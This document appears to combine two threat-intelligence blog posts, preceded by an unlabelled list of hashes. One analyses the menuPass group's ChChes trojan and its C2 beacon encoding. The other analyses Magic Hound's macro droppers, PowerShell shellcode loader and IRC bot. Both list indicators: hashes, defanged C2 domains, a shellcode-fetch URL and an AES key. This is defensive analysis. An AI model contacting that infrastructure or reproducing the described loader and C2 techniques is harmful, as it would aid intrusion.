2617f9301869304b88d8a3a4f7b2eab6b0edf264cc1a28b99f5685959242ec39
f3107a5a00f36e12be7cc2e37c35903ef855b8043492af374ea918385821443c
63fcfab8e9b97d9aec3d6f243003ea3e2bf955523f08e6f1c0d1e28c839ee3d5
05cbe01b1125897e0e982c587a10a72f4df795b844a4a2c4cec44aee7f30ce94
5a7da102c11960b9651650143a4a08ae4ce97d68dff999961f1ffc792531afeb
df6112e6bad4125b80b8829c13a2ca523bb82cf303cf531389d8795e7512c7e6
cfb8216be1a50aa3d425072942ff70f92102d4f4b155ab2cf1e7059244b99d31
e79dbcc8b60da280e53d9cf818eee1de34251e0551b9947bb2b79a31b131417e
a73eac15797130c381b5b4a65c3fb1cfc723b1586a1882c981211787bba285a6
3ef3a06605b462ea31b821eb76b1ea0fdf664e17d010c1d5e57284632f339d4b
f2355a66af99db5f856ebfcfeb2b9e67e5e83fff9b04cdc09ac0fabb4af556bd
ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc
550ee89d5df17f90ba7689d957cd067dcdbe3d957c5369ea28d925e02ccc8ce6
f77d7940c51c2a1eab849dbd77e59c683ebf7820799ef349e7da2583e1aa11ae
2c5d55619d2f56dc5824a4845334e7804d6d306daac1c23bec6f078f30f1c825
7231177a115656041ba4e5b3cf0bf7a547b074f03592351484267e25cda7c899
d5405f99cec0166857274b6c02a7ef52b36274fedb805a17d2089fd24ed133cf
81921b6a7eba39a3f73895a57892ed3a46ab6365ac97d550ca3b9bff46c7a1c2
1eef9f8d7d3099b87be7ac25121f9d2ccacfb5ccf02b508fb2036b6e059c525f
5255061c3600df1a94b376fca40f3ccb69d1cb6dd42aa744b20a643c7292d20c
b5199a302f053e5e9cb7e82cc1e502b5edbf04699c2839acb514592f2eeabb13
5fb7f6f953be3b65d88bd86d1391ebc9f88fc10b0ef23541463ebf5b157f695c
6016cf9898d74e2e9030be7c987964d817ba28ad2253d1da54c81a1bf49db836
621e55421dffae981e3e933c65626314d5610c7c08f76f83a3d07f0ec6c36e2d
6ccc24971073d24d90c4cbaf83dfbae2969cbf527e319c7ee9a4babcbe88e456
6f8da9180eebe02ba35317cb8aee5c8df6ac29795af70eb9430c3588d457aad6
71c5b899a5187baeb8f605ca39ca56bf05a63025a8f9f84c45590d8345e5d349
725b7d92ed66be160f2e04395008a65c72814d5ddf842d9778396f6c6679d85e
72d4b780a90ede7ea152f5da0973965cab31d2813fa8c2fe0e1cb611f5ca257e
73670d06851f588c7df44dc478f49883406697c48c618438e0f249b7a916552e
74e017853fbc85ee77ca7476cd25423815602aaaa02b29e0003c95c9551b8890
75d2367dc79d9f8aed165729df90ed5d28fefe267778dbe4d3d74aafa75d66e0
7a5a1c6ea0c2f017df9f06975c93a356cac20b19031fcde96136fa5881e5ef3a
7adb049e0b49312aea904c70e16d0e7f03d01aae4bf8ac867e8219ced4e6e057
7bfa85bec239b6c4419b2d57149c5960263c80e493f888d03ceaaa3f945b1b25
7f324b658f587b3b27921ebeba5ac25aebd669b33e6801fa9581de8c2eb0df2e
7fee970748eb83045e36911dafdaee0d4069ebe72c059cc7de3d65539012c2e9
823793a37d748ffe708864c16c853c67a5db812712481da1d24790b455163940
8512aabfa0175684bdbb77481d6b272b63dbc4249b04a44e1003b7d8fdea0a89
86c81f03cf7d8f8af38c2559dbf506cccdc25579f3b29fb574f823a67f99a0a3
88ae7e60b9dd57fc6b2d667ce33fb29c0f75d37eb7c837ccf56cb7994386d5ef
8b50e3ca06a22d0be6a71232b320137c776f80ac3f2c81b7440b43854b8a3bf0
8bd40e7fe6bbd4d5810db2c142186bb58da445a132fb6f9ff01c46947a532244
8c9d690e765c7656152ad980edd2200b81d2afceef882ed81287fe212249f845
8d38726d674279705fe06b4b45bbbaef10756c547d560cea6998e23dba09f80c
8db47439685edc683765abb5e6d7d0d05479bf9ee164992db9e8ce97fe43ee2f
95de2e16f1b05d1b45b1d182c1503568c2e5fd4a81ac52fe1bc9e881d1a272b1
95e3204228341852b7c97f357f799e7ec9688abe1262436b569e56397f1fd864
98caf00760d772598386eb8d4f26caf92fb891915ac08da6bf830be5e45278d3
99c9440a84cdc428ce140de901452eb334faec49f1f6258acdde1ddcbb34376e
9a8776e4ae38cf529bab28947b31ade84301262b7996dc37ec47afa4fb4cf6e1
9beb1d2a03ff2d4c15913de0f87b72074155b44df791bd967dac8155e97a0e06
9c8d518fbbc8cbb25fa309f5396efa5749e57a3b0158779404c8d3e92baf6596
a064a28e5e7409a96bba93fc57f44cadc3492bb0f49792c89c973e30b0f5d498
a194b47043356fa365d98a5f7c582b6f87fac90acf0f469ed3651cfe2fd7b2c9
a21dfb8e8b7c8dfbeeb4d72e6ef1f22c667b8968b3a3b1dcce99f44faab05903
a2e0fe2d385dabcdfb024100216d259ddd1fa9907e982d297846fd29b8d4d415
a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599
a595da9a2fa58d4f8be0bfbcf7f4c950435ff5289dd1ccf2c65eec73a0afe97f
a972ad0ddc00d5c04d9fe26f1748e12008efdd6524c9d2ea4e6c2d3e42d82b7b
aa860d405746401ae4155485326fdeb39718832c77c73540d48f4fbb8e596215
ab6832a4432b4bdaec0706f7b00a369c48175eac9abc3e537032b1f5d26a993b
ada2f0703614b3447d427827777af5d4ee9ffe9179498970326926751a4f8d65
b16d317c11228bd3573126a0e1bc0bbf35d84a4a1f47dfb06b70634a21fd9823
b3665548cc0f2fce3593fb7139f49588faa1d327b6d23feb564ca4194053ae8a
b5578c48a11533871ae91e6d5632aafc25d3976c0626d62abab306663566d024
b67a6f87fc3fd7c5c3666acac5918c8c08a53ab6a966f4d1daf38105a566ede1
b6abc8ab631dcf52e028ab26dbe3bb94022d69193c0acc8642cbd6329cbb23ef
b7e117eb342b0d450095805073326989c792bf5ccbbdcd5f4a9ace50e517412e
bb14abc9b0798c7756a6ed887308a3e6210cc08a5149dc1360fdd1f5bca27cca
bdadb319f071f02462d107380102b669e407bb2a0b20e77a9a8a5726b4cbbc4b
bf2383cfbee4cbb0bda2614839454ab1724c9bbfff8b4b48e0f48579ae220c10
bf52b44168de1855d83186163a2d5f29e488ddafdfd5447e211aec4a769cf74a
c0d5cf7a0035deda5646aaf520b3ff632aa6be76ddbc88f38ddc11e77ffb40b4
c1a82a788df7418712664138c0fdb05232036a27ab0998479d60c656998849f1
c63a523834ab59ab5621a0acb156a9b901befe806044642fe5fec8a0ba545e70
d05d3f3582e13eaf5f39d7143ca1a4b1367cc5267bf9958a15e27cf53e059518
d0e456cff03c2483ded9a0f8c1b99f9fefb6ba47dcaf949dae27abe940ee20e6
d8a01f69840c07ace6ae33e2f76e832c22d4513c07e252b6730b6de51c2e4385
dada74663e3e29ee26bfd03a888f0bda9fc81e148511fa98f73f8e8a915933cc
db3ffcbf136e0268ec66f28b30fa8ba350f74e02e8e737e61cc6ef8d8258027e
dd26b85b6568595b1d2bbc47ce47d071ede75665fbd779d637b74663ead5539e
df9038660164623a827a8119d4cb3d71d0a5288b12bdfdd32c72769bf90a9ea0
dfed16e9184a86e6fcd17a98f127410840d058db667e9975b43add100c33122e
e0063d2524a89159cf5da12661225fbb27725bbd72acd9497b7207ecf2f3aeb6
e00c55ddda9cbb82fb47924fafdf40c3394dc1127d9901c71a69ef3ef664b817
e14a51d69211948163ab20b0cc68adf410bb821f2890f55d2d202c745f4ec1b8
e2e3f243bbcad666852e64202d35f6dd88c58f5d24435d92975697b0efa8a775
e37e25739e8bc4620d9d37d8f6b400cd82c85b89d206436ba35930ed96db6eb0
e55b5ede808b6d491f18737d6a1cf34b5178f02e9ea01d7cff31a449888dbd73
ed28d9207acac2afff817eaa56d1599422e23946dffa4f8bade376d52a6af7d4
eda0853e814ee31a66c3b42af45cd66019ffd61eac30e97bd34c27d79253a1bb
f1b3e58d060803b0ff6008386bab47fb8099ac75ee74f385ac34340a28bf716e
f2091f71227180d74ba1ba4607635e623553b1826314dca91cb31839eb00c4ea
f214d55ccb5db5edbaafe7d40b240c79f04c70d441adee01ef438f776eb37037
f571ddc894915dee136cf24731ff3d79fe4f811b112d122a34a128628cb43c4a
f7676d2a28992a382475af2ae0abca4794e1397ef3327f30f7d4cbdbc2ca0a68
f8e20894c8c18d79e80b431008aa8bef46cc10a355a4934f9cc40ffd637b8890
fa1bf7565352099b74624c8beeff6620411e1efe00e54f8b4190f69e243d5811
fa784f69265ebe5e150cf5956a40d86335d1a5edc57fffcc7ce6eedc591c2751

 

menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations

In 2016, from September through November, an APT campaign known as “menuPass”  targeted Japanese academics working in several areas of science, along with Japanese pharmaceutical and a US-based subsidiary of a Japanese manufacturing organizations. In addition to using PlugX and Poison Ivy (PIVY), both known to be used by the group, they also used a new Trojan called “ChChes” by the Japan Computer Emergency Response Team Coordination Center (JPCERT).  In contrast to PlugX and PIVY, which are used by multiple campaigns, ChChes appears to be unique to this group. An analysis of the malware family can be found later in this blog.

Interestingly, the ChChes samples we observed were digitally signed using a certificate originally used by HackingTeam and later part of the data leaked when they were themselves hacked. Wapack labs also observed a similar sample targeting Japan in November. It’s not clear why the attackers chose to use this certificate, as it was old, had been leaked online, and had already been revoked by the time they used it. Digital certificates are typically used because they afford an air of legitimacy, which this one definitely does not.

The attackers spoofed several sender email addresses to send spear phishing emails, most notably public addresses associated with the Sasakawa Peace Foundation and The White House. All the spear phishes were socially engineered with subjects appropriate for the target and the apparent sender. One of the more interesting subject lines was used in the White House attack; “[UNCLASSIFIED] The impact of Trump’s victory to Japan,” sent two days after the election.  Most of the attacks against academics involved webmail addresses using names of academics but are not tied to those academics openly online. However, all the spear phish recipients used email addresses tied to them online.

fig1

Figure 1. Recent menuPass activity and some ties to older infrastructure

The C2 infrastructure in these attacks is largely actor registered, with only a few Dynamic Domain Name System (DDNS) domains. menuPass typically makes use of a mix of DDNS and actor-registered domains in their attack campaigns. All of the related hashes and C2s are in appendix at the end of this blog.

Ties to menuPass

There is not much public information about the APT campaign called menuPass (also known as Stone Panda and APT10).  A paper from FireEye in 2013 on several campaigns using PIVY included menuPass as one of them.  A later blog added some additional details. The group name is derived from one of the passwords they use with PIVY in their attacks. Believed to have started activity in 2009 and to originate from China, the group initially was known for targeting US and overseas defense contractors but broadened their targeting as time passed. They have targeted Japanese organizations since at least 2014.

The newer ChChes malware family uses an import hash (bb269704ba8647da97377440d403ae4d) shared with other tools used by menuPass, affording an initial link. However, the ties are most strongly proved through infrastructure analysis, which shows a number of links between the newer infrastructure used in these attacks and older infrastructure publicly associated with the group. The three circled domains represent C2s publicly reported as tied to menuPass, linked to domains not previously publicly reported as associated. These are only a few of multiple overlaps analysts can find while researching menuPass infrastructure. The circled known domains are the first three below:

  • apple[.]cmdnetview[.]com
  • fbi[.]sexxxy[.]biz
  • cvnx[.]zyns[.]com
  • cia[.]toh[.]info
  • 2014[.]zzux[.]com
  • iphone[.]vizvaz[.]com

fig2

Figure 2. menuPass infrastructure overlaps

Two of these domains can further be tied into the newer C2 infrastructure. Again, these are only a few of the overlaps that can be uncovered by analyzing the infrastructure used by menuPass. The domains in the below figure are:

  • cia[.]toh[.]info
  • 2014[.]zzux[.]com
  • wchildress[.]com
  • lion[.]wchildress[.]com
  • kawasaki[.]unhamj[.]com
  • sakai[.]unhamj[.]com
  • kawasaki[.]cloud-maste[.]com
  • fukuoka[.]cloud-maste[.]com
  • yahoo[.]incloud-go[.]com
  • msn[.]incloud-go[.]com
  • www[.]mseupdate[.]ourhobby[.]com
  • contractus[.]qpoe[.]com

fig3

Figure 3. Ties between new and older infrastructure.

Additionally, the passwords in the PIVY samples also fit known passwords used by the group – three samples use “menuPass” and the other uses “keaidestone.”  With these data points, we assess with high confidence the recent attacks were conducted by the menuPass group.

Following is our analysis of the ChChes malware family.

Malware Analysis

For this analysis, Unit 42 looked at the following file:

MD5 c0c8dcc9dad39da8278bf8956e30a3fc
SHA1 009b639441ad5c1260f55afde2d5d21fc5b4f96c
SHA256 6605b27e95f5c3c8012e4a75d1861786fb749b9a712a5f4871adbad81addb59e
Compile Time 2016-11-24 01:31:37 UTC

 

This malware is provided with an icon that appears to be that of a Microsoft Word document, as we can see in the image below.

fig4

Figure 4. Icon used for ChChes

Additionally, we discovered that the samples identified in attacks against Japanese organizations were digitally signed using the certificate originally used by the Italian-based company, HackingTeam. Readers may recall that HackingTeam was compromised and subsequently had a large amount of internal data exposed in July 2015. This data included a wealth of code used by the organization, including certificates. The certificate in question was fairly old, and expired on August 4th, 2012. On July 10th, 2015, the certificate was revoked.

fig5

Figure 5.  Digital signing of ChChes

fig6

Figure 6.  Certificate revocation

Multiple instances of malware have been discovered using this certificate since it was originally leaked in 2015. It is unclear why the actors decided to use this certificate that is tied to known malicious samples for their own samples. One possibility may be to make attribution more difficult for analysts researching these threats.

When the malware is initially run, it will first decrypt an embedded stub of code within the malware prior to executing it. This stub has many characteristics seen in shellcode, and begins by creating a new Import Address Table (IAT). This new IAT is then referenced throughout the remainder of the code when calling Windows APIs. The following snippet of assembly shows the newly created IAT being referenced to call various functions, such as GetProcessHeap, RtlAllocateHeap, RtlReAllocateHeap, and InternetReadFile.

fig7

Figure 7.  Newly created IAT being used to call Windows API functions

After the IAT has been generated, the malware will determine the path of %TEMP% and set its current working directory to this value. ChChes proceeds to collect the following information about the victim:

  • Hostname
  • Process Identifier (PID)
  • Current working directory (%TEMP%)
  • Window resolution
  • Microsoft Windows version

This information is aggregated into a string such as the following:

WBQTLJRH9553618*2564?3618468394?C:\\Users\\ADMINI~1\\AppData\\Local\\Temp?1.4.1 (1024x768)*6.1.7601.17514

Note that in the string above, the ‘3618468394’ and ‘1.4.1’ strings are hardcoded within the malware itself. These may indicate versions of the malware or campaign identifiers, however, this has not been confirmed.

After this data has been aggregated, it is uploaded to a hardcoded command and control (C2) server via HTTP. The data is embedded within the ‘Cookie’ HTTP header, as seen belowfig8

Figure 8.  Initial HTTP beacon for ChChes

The URI used above is randomly generated for each HTTP request made by ChChes. The data embedded within the Cookie header is encrypted using a unique technique. For each key/value pair, separated by a ‘;’, the malware will first perform a MD5 hash of the key, and extract the middle 16 bytes. The value is base64-decoded after the string is unquoted. Finally, the base64-decoded data is decrypted using RC4 with the previously obtained 16 bytes. All of the data is concatenated to form the final, decrypted data.

The following Python code shows an example of decoding the supplied Cookie field:

The script above produces the following output:

The initial ‘A’ character witnessed in the output above instructs the remote server that this is an initial beacon, or the first expected request sent by ChChes.

The C2 will respond with a ‘Set-Cookie’ header that contains the middle 16 bytes of the MD5 hash performed against the hostname and PID. Using the above example, the C2 would perform the MD5 against ‘WBQTLJRH9553618*2564’.

The resulting middle 16 characters is ‘b331106210b6364c’.

The subsequent request made by ChChes looks like the following:

fig9

Figure 9. Second network request made by ChChes

Decrypted, we see the following contents stored within the Cookie field:

Bb331106210b6364c

The first character of ‘B’ signifies that this is the second request, and the remaining data is the 16 bytes previously seen in the C2 response within the Set-Cookie header.

At this stage, the C2 server is expected to return content in the following format:

[Middle MD5][Base64-Encoded Data][Middle MD5]

The ‘Middle MD5’ field contains the middle 16 bytes of the MD5 hash of the ‘b331106210b6364c’ string. This would result in a string of ‘500089dadf52ae0b’ in this particular example. The ‘Base64-Encoded Data’ field contains a fairly complex structure that will store a module that is to be loaded and subsequently run by ChChes.

A visualization of this network communication can be seen in the following figure:

fig10

Figure 10. Network flow of ChChes

ChChes acts as an initial infiltration point on a victim machine. It has the ability to load additional code that in turn may accomplish any number of tasks. During analysis, no C2 servers were found to be active, and Unit 42 was unable to identify any modules being loaded by ChChes. However, the JPCERT also recently analyzed this family and was able to collect modules that give ChChes the following functions:

  • Encryption of communication by AES
  • Execute shell command
  • Uploading and downloading files
  • Loading and executing the DLL
  • Task list of bot command

However, the lack of persistence built into ChChes suggests that it by itself is not intended to run on a victim’s machine for long periods of time.  In a successful intrusion, it may be only a first stage tool used by the attackers to orient where they landed in a network, and other malware will be deployed as a second stage layering for persistence and additional access as the attackers move laterally through a network.

Conclusion

These attacks show Japan continues to be a target of interest to APT campaigns. menuPass has targeted individuals and organizations in Japan since at least 2014, and as the same organizations and academics were largely targeted each month in these attacks, it further shows menuPass is persistent in attempts to compromise their targets.  menuPass also heavily favors spear phishing, and so takes steps to socially engineer their spear phishes for maximum appearance of legitimacy. This, and their persistence, highlights the need for training and awareness of spear phishing on the part of both individuals and organizations likely to be targeted. menuPass is an ongoing APT campaign with a broad range of targets and will likely continue to target Japan in the future.

Palo Alto Networks customers are protected from these malware families and C2 infrastructure by:

  • All C2 domains are flagged as malicious in Threat Prevention and PAN-DB
  • All three families are properly tagged malware by WildFire. Autofocus subscribers can learn more about each family via their tags:

Additionally, Autofocus subscribers can learn more about menuPass by exploring tied activity with the menuPass tag.

Indicators of Compromise

SHA256 Hashes

ChChes

5961861d2b9f50d05055814e6bfd1c6291b30719f8a4d02d4cf80c2e87753fa1

e90064884190b14a6621c18d1f9719a37b9e5f98506e28ff0636438e3282098b

ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145

fd6a956a7708708cddff78c8505c7db73d7c4e961da8a3c00cc5a51171a92b7b

2c71eb5c781daa43047fa6e3d85d51a061aa1dfa41feb338e0d4139a6dfd6910

316e89d866d5c710530c2103f183d86c31e9a90d55e2ebc2dda94f112f3bdb6d

efa0b414a831cbf724d1c67808b7483dec22a981ae670947793d114048f88057

6605b27e95f5c3c8012e4a75d1861786fb749b9a712a5f4871adbad81addb59e

fadf362a52dcf884f0d41ce3df9eaa9bb30227afda50c0e0657c096baff501f0

2965c1b6ab9d1601752cb4aa26d64a444b0a535b1a190a70d5ce935be3f91699

e88f5bf4be37e0dc90ba1a06a2d47faaeea9047fec07c17c2a76f9f7ab98acf0

d26dae0d8e5c23ec35e8b9cf126cded45b8096fc07560ad1c06585357921eeed

e6ecb146f469d243945ad8a5451ba1129c5b190f7d50c64580dbad4b8246f88e

4521a74337a8b454f9b80c7d9e57b4c9580567f84e513d9a3ce763275c55e691

bc2f07066c624663b0a6f71cb965009d4d9b480213de51809cdc454ca55f1a91

c21eaadf9ffc62ca4673e27e06c16447f103c0cf7acd8db6ac5c8bd17805e39d

f251485a62e104dfd8629dc4d2dfd572ebd0ab554602d682a28682876a47e773

b20ce00a6864225f05de6407fac80ddb83cd0aec00ada438c1e354cdd0d7d5df

c6b8ed157eed54958da73716f8db253ba5124a0e4b649f08de060c4aa6531afc

9a6692690c03ec33c758cb5648be1ed886ff039e6b72f1c43b23fbd9c342ce8c

cb0c8681a407a76f8c0fd2512197aafad8120aa62e5c871c29d1fd2a102bc628

4cc0adf4baa1e3932d74282affb1a137b30820934ad4f80daceec712ba2bbe14

312dc69dd6ea16842d6e58cd7fd98ba4d28eefeb4fd4c4d198fac4eee76f93c3

45d804f35266b26bf63e3d616715fc593931e33aa07feba5ad6875609692efa2

19aa5019f3c00211182b2a80dd9675721dac7cfb31d174436d3b8ec9f97d898b

 

PlugX

f1ca9998ca9078c27a6dab286dfe25fcdfb1ad734cc2af390bdcb97da1214563

6392e0701a77ea25354b1f40f5b867a35c0142abde785a66b83c9c8d2c14c0c3

6c7e85e426999579dd6a540fcd827b644a79cda0ad50211d585a0be513571586

9f01dd2b19a1032e848619428dd46bfeb6772be2e78b33723d2fa076f1320c57

6c7e85e426999579dd6a540fcd827b644a79cda0ad50211d585a0be513571586

76721d08b83aae945aa00fe69319f896b92c456def4df5b203357cf443074c03

dcff19fc193f1ba63c5dc6f91f00070e6912dcec3868e889fed37102698b554b

7eeaa97d346bc3f8090e5b742f42e8900127703420295279ac7e04d06ebe0a04

a6b6c66735e5e26002202b9d263bf8c97e278f6969c141853857000c8d242d24

5412cddde0a2f2d78ec9de0f9a02ac2b22882543c9f15724ebe14b3a0bf8cbda

92dbbe0eff3fe0082c3485b99e6a949d9c3747afa493a0a1e336829a7c1faafb

 

PIVY

f0002b912135bcee83f901715002514fdc89b5b8ed7585e07e482331e4a56c06

412120355d9ac8c37b5623eea86d82925ca837c4f8be4aa24475415838ecb356

44a7bea8a08f4c2feb74c6a00ff1114ba251f3dc6922ea5ffab9e749c98cbdce

9edf191c6ca1e4eddc40c33e2a2edf104ce8dfff37b2a8b57b8224312ff008fe

 

C2s

dick[.]ccfchrist[.]com

trout[.]belowto[.]com

sakai[.]unhamj[.]com

zebra[.]wthelpdesk[.]com

area[.]wthelpdesk[.]com

kawasaki[.]cloud-maste[.]com

kawasaki[.]unhamj[.]com

fukuoka[.]cloud-maste[.]com

scorpion[.]poulsenv[.]com

lion[.]wchildress[.]com

fbi[.]sexxxy[.]biz

cia[.]toh[.]info

2014[.]zzux[.]com

nttdata[.]otzo[.]com

iphone[.]vizvaz[.]com

app[.]lehigtapp[.]com

jimin[.]jimindaddy[.]com

Jepsen[.]r3u8[.]com

inspgon[.]re26[.]com

nunluck[.]re26[.]com

yahoo[.]incloud-go[.]com

msn[.]incloud-go[.]com

www[.]mseupdate[.]ourhobby[.]com

contractus[.]qpoe[.]com

apple[.]cmdnetview[.]com

cvnx[.]zyns[.]com

 

Magic Hound Campaign Attacks Saudi Targets

Unit 42 has discovered a persistent attack campaign operating primarily in the Middle East dating back to at least mid-2016 which we have named Magic Hound. This appears to be an attack campaign focused on espionage. Based upon our visibility it has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia. The adversaries appear to have evolved their tactics and techniques throughout the tracked time-period, iterating through a diverse toolset across different waves of attacks. Link analysis of infrastructure and tools also revealed a potential relationship between Magic Hound and the adversary group called “Rocket Kitten” (AKA Operation Saffron Rose, Ajax Security Team, Operation Woolen-Goldfish) as well as an older attack campaign called Newscasters. Artifacts of this campaign was also recently published by Secureworks CTU.

We were able to collect over fifty samples of the tools used by the Magic Hound campaign using the AutoFocus threat intelligence tool. The earliest malware sample we were able to collect had a compile timestamp in May 2016. The samples themselves ranged from IRC bots, an open source Python remote access tool, malicious macros, and others. It is believed the use of specific tools may have coincided with specific attack waves by this adversary, with the most recent attacks using weaponized Microsoft Office documents with malicious macros. Due to the large amount of data collected, and limitations on attack telemetry, this blog will focus primarily on the most recent attacks occurring in the latter half of 2016.

ATTACK DETAILS

The samples initially collected and associated with Magic Hound were Microsoft Word and Excel documents containing embedded malicious macros. We were able to expand our data set by pivoting on infrastructure and tool behavior, which uncovered additional types of tools in use by Magic Hound, such as regular portable executable (PE) payloads, PE files compiled in .NET Framework, various forms of IRC bots, and an open source file-less Python remote access tool called Pupy.

The weaponized Office documents were found to be hosted either on what appeared to be compromised legitimate websites, or on websites using domain names similar to legitimate domain names in appearance. The two legitimate websites we were able to identify were owned by organizations in the government and energy sectors. Based on the existence of these malicious files on the legitimate websites, it is highly probable that the websites had already been compromised in some fashion. At the time of investigation, the files had already been removed from the websites. The two other delivery sites were ntg-sa[.]com, which may be trying to spoof a Saudi based information and communication technology conglomerate and mol.com-ho[.]me, which may be trying to spoof the Ministry of Labor. A third delivery site was identified at its.com-ho[.]me which may appear to be a benign domain.

Several of these documents were also found on a seemingly unrelated, but benign-looking domain, briefl[.]ink.

It is highly likely the adversary then used spear-phishing attacks containing links to these malicious documents as a delivery mechanism. We were ultimately able to identify multiple organizations in the government, energy, and technology sectors targeted by Magic Hound.

The weaponized documents themselves all contained malicious macros which were designed to call Windows PowerShell to retrieve additional tools. A handful of lures with different themes were used repeatedly with variations throughout the eighteen collected documents. They ranged from documents masquerading as official Saudi government forms to a holiday greetings card. The forms masquerading as official government documents specifically used imagery from the Ministry of Health and the Ministry of Commerce claiming to be mandatory forms that required macros to be enabled. Examples of the documents can be seen below:

ex2

INFRASTRUCTURE

Analysis of the weaponized documents revealed some peculiarities right away. The majority of documents used the name “gerry knight” for the author field in the document metadata, and the embedded macros largely used direct IP connections to command and control (C2) servers rather than using domain names. These C2 servers also appeared to lack any relationships to each other and were hosted on a variety of VPS providers. Two of the Word documents using the “gerry knight” author name however were found to be communicating to C2 servers on two specific domains, www1.chrome-up[.]date and www3.chrome-up[.]date. Using these domains as pivot points, we were able to expand our data set. As seen below, the relational analysis proved to be quite fruitful:

fig1

Figure 1 Overview of relationships

We rapidly discovered a different set of tools communicating to the exact same C2 servers as those two Word documents, in addition to other tools communicating to other subdomain variations of chrome-up[.]date as seen in the following graphic:

fig1a

Figure 2 Command and control overlaps

From there, we were able to map out a large infrastructure separating out into four categories of tools: downloaders, droppers, loaders, and payloads. What initially appeared as a disparate and segregated attack campaign appeared very rapidly to be a persistent and prolonged attack campaign with very specific goals in mind.

In total, we were able to collect over fifty different samples via infrastructure reuse, behavioral matching, and the reuse of a specific file for maintaining persistence. These tools included Microsoft Office documents, portable executables (PE), .NET Framework PE files, Meterpreter, IRC bots, an open sourced Meterpreter module called Magic Unicorn, and an open sourced Python RAT called Pupy.

Interestingly as we continued to expand and pivot in our data set, one of the C2 IPs used by an IRC bot payload from Magic Hound was found to be the same IP used to deliver a different IRC bot called MPK.

fig1b

Figure 3 Rocket Kitten and Magic Hound infrastructure overlap

The MPK bot is not publicly available and had previously been attributed to an adversary group called “Rocket Kitten” which has often been thought to be a state sponsored adversary operating in the Middle East region. Although the likelihood of two different adversaries focused on espionage operating in the same geographical region using one specific IP and not being related somehow is fairly slim, due to limited telemetry, we lack additional corroborating evidence of a conclusive relationship.

MAGIC HOUND TOOLSET

The Magic Hound attacks did not rely on exploit code to compromise targeted systems, instead relying on executables and Microsoft Office documents, specifically Excel and Word documents containing malicious macros. During our analysis, we were able to determine the ultimate payload for several of these attacks. One payload was a Python based open source remote administration tool (RAT) called Pupy. A second payload was an IRC bot we have named MagicHound.Leash. We have also seen this group use the Magic Unicorn module to generate a PowerShell script to deliver a shellcode-based payload. While we have not been able to obtain a secondary payload from the Unicorn generated PowerShell script, we believe that this group uses the script to deliver Metasploit's Meterpreter as a potential payload as well.

We have categorized the custom tools in use by the Magic Hound campaign into five categories, with corresponding names in Table 1. Additional details for these tools may be found in the appendix.

TYPE NAME
Dropper MagicHound.DropIt
Executable Loader MagicHound.Fetch
Document Loader MagicHound.Rollover
Downloader MagicHound.Retriever
IRC Bot MagicHound.Leash

Table 1  Types of MagicHound tools and their Corresponding Names

MAGICHOUND.ROLLOVER

The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method, specifically attempting to load either the Pupy RAT or meterpreter which we have called MagicHound.Rollover. The malicious macros were all designed to use Windows PowerShell to download a shellcode-based payload from a remote server. We discovered two different techniques used in the PowerShell scripts, the first being a straightforward execute command of a string retrieved from the remote server. The second technique appeared to be from a tool called Magic Unicorn, an open source module for meterpreter. Specifically, we discovered code in the PowerShell script that was a match for code in Magic Unicorn containing the comment “one line shellcode injection with native x86 shellcode”.

MAGICHOUND.FETCH

In addition to loading payloads using macros within delivery documents, we observed the Magic Hound campaign using executables to load secondary payloads from a remote server. Both a custom developed loader, which we have named MagicHound.Fetch, as well as the default loader that comes with Pupy were found to be in use. The Fetch loader allowed us to use attributes within the loader to uncover more tools used by this group, which included a backdoor and an IRC bot.

Fetch first attempts to create persistent access to the targeted host then retrieve a secondary payload from a remote server. To set up persistence, the loader writes a file to "c:\temp\rr.exe" and executes it with specific command line arguments to create auto run registry keys. All Fetch samples drop the same exact executable to set up persistence.

Many of the Fetch samples we analyzed attempted to obfuscate their functionality by encrypting their embedded strings using AES. However, they all used the same key "agkrhfpdbvhdhrkj". The loader's main goal was to run a PowerShell command to execute shellcode. We found the PowerShell command used by Fetch within the source code of Magic Unicorn, which was also used in the Magic Hound delivery documents. The shellcode executed by this PowerShell is the exact same as in the delivery documents, using code from Metasploit which can obtain additional shellcode to execute using an HTTP request to the following URL:

http://www7.chrome-up[.]date/0m5EE

We were not able to retrieve the shellcode hosted at this URL. However, as alluded to above, we believe that this adversary used the open source Magic Unicorn tool to load a shellcode-based payload which is likely to be meterpreter.

PUPY LOADER

The Pupy RAT comes packaged by default with loaders that can run the RAT on a variety of platforms such as Windows, macOS, Linux and Android. We have seen the Magic Hound campaign use both the 32-bit and 64-bit DLL loaders that come with Pupy to infect Windows systems. Analysis of their configurations show that the C2 servers used both fully-qualified domain names and IP addresses. Also, the configurations show the use of the “obfs3” (The Threebfuscator) transport, which is an obfuscation method to hide the true TCP-based communications protocol. The “obfs3” is used in the Tor project and the specifics of this transport can be found at the Tor Project.

MAGICHOUND.DROPIT

The Magic Hound campaign was also discovered using a custom dropper tool, which we have named MagicHound.DropIt. The DropIt Trojan we analyzed is an executable that builds another executable by decoding embedded blobs of base64 encoded data and concatenating them together in the correct order. In all of the DropIt samples we collected, the dropper then saves the executable to the user’s %TEMP% folder and executes the file.

We have also seen Magic Hound using DropIt as a binder, specifically dropping a legitimate decoy executable along with the malicious executable onto the target host. The legitimate decoy executable and the malicious executable are then both executed, but with the malicious file running in the background and the decoy presented to the user. These types of tactics are generally used for evasion and to not trigger and suspicion from the victim. In one example, the decoy executable was a legitimate Flash installer, therefore from the victim’s perspective, they would experience the expected behavior of a Flash installer.

MAGICHOUND.RETRIEVER

We observed a DropIt sample installing another Trojan we call MagicHound.Retriever. At a high level, Retriever is a .NET downloader that retrieves secondary payloads using an embedded URL in its configuration as the C2. Retriever uses .NET web services and the SoapHttpClientProtocol class to communicate with its C2 server, which generates HTTP requests resembling the example request in Figure 4.

fig3

Figure 4 Retriever HTTP request sent to its C2 server

MAGICHOUND.LEASH

The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.Leash. We discovered this connection when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications.

Leash obtains its commands via private messages (PRIVMSG) sent from the adversary who must also be connected to the IRC server. All of its available commands (see Appendix), except for the VER command seen in Figure 5, must be issued by individuals in the IRC channel with nicknames that start with "AS_" or "AF_".

fig4

Figure 5 Lecash bot responding to VER command

